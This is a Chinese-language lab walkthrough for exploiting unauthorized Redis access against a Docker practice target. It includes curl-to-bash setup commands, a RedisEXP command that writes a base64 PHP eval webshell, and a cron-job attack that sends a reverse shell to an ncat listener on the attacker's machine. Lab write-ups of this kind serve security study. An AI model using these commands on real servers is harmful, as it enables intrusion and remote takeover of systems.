部署环境

环境来源：

1
2

bash <(curl -sL kejilion.sh) docker install
bash <(curl -sSL https://linuxmirrors.cn/docker.sh)

Docker 部署命令：

1
2

docker pull yanglisianthus/redis-unauth-hub
docker run --restart always -d -p 10081:80 -p 10022:22 -p 16379:6379 --name redishub yanglisianthus/redis-unauth-hub

复现漏洞

用 RedisEXP 工具复现漏洞：https://github.com/yuyan-sec/RedisEXP

写 webshell

1

RedisEXP_windows_amd64.exe -m shell -r 10.0.0.5 -p 16379 -rp /var/www/html -rf shell.php -s PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7Pz4= -b

• -m shell: 写webshell
• -r 10.0.0.5: 目标IP
• -p 16379: 目标端口
• -rp /var/www/html: 目标路径
• -rf shell.php: 目标文件名
• -s PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7Pz4=: Webshell内容，base64编码后为
• -b: 解码base64内容

上图中显示的redis命令，也可以用redis-cli或者navicat等客户端连接工具进行手工复现。

靶机的/var/www/html目录下将生成shell.php文件:

浏览器访问 http://10.0.0.5:10081/shell.php?cmd=phpinfo(); 可以查看靶机的phpinfo信息:

或者用蚁剑连接靶机获取shell:

写定时任务

攻击机用ncat监听9001端口，等待靶机反弹shell:

1

ncat -lnk 9001

攻击机运行攻击命令:

1

RedisEXP_windows_amd64.exe -m cron -r 10.0.0.5 -p 16379 -L 10.0.100.1 -P 9001

• -m cron: 写定时任务
• -r 10.0.0.5: 目标IP
• -p 16379: 目标端口
• -L 10.0.100.1: 本机IP
• -P 9001: 本机端口

运行后每间隔一分钟，靶机就会执行一次定时任务，反弹shell到攻击机：

推荐阅读

1. 浅析Linux下Redis的攻击面(一)：https://xz.aliyun.com/news/7569
2. Redis常见漏洞利用方法总结|Redis未授权访问漏洞利用方式：https://www.ddosi.org/redis-ssh/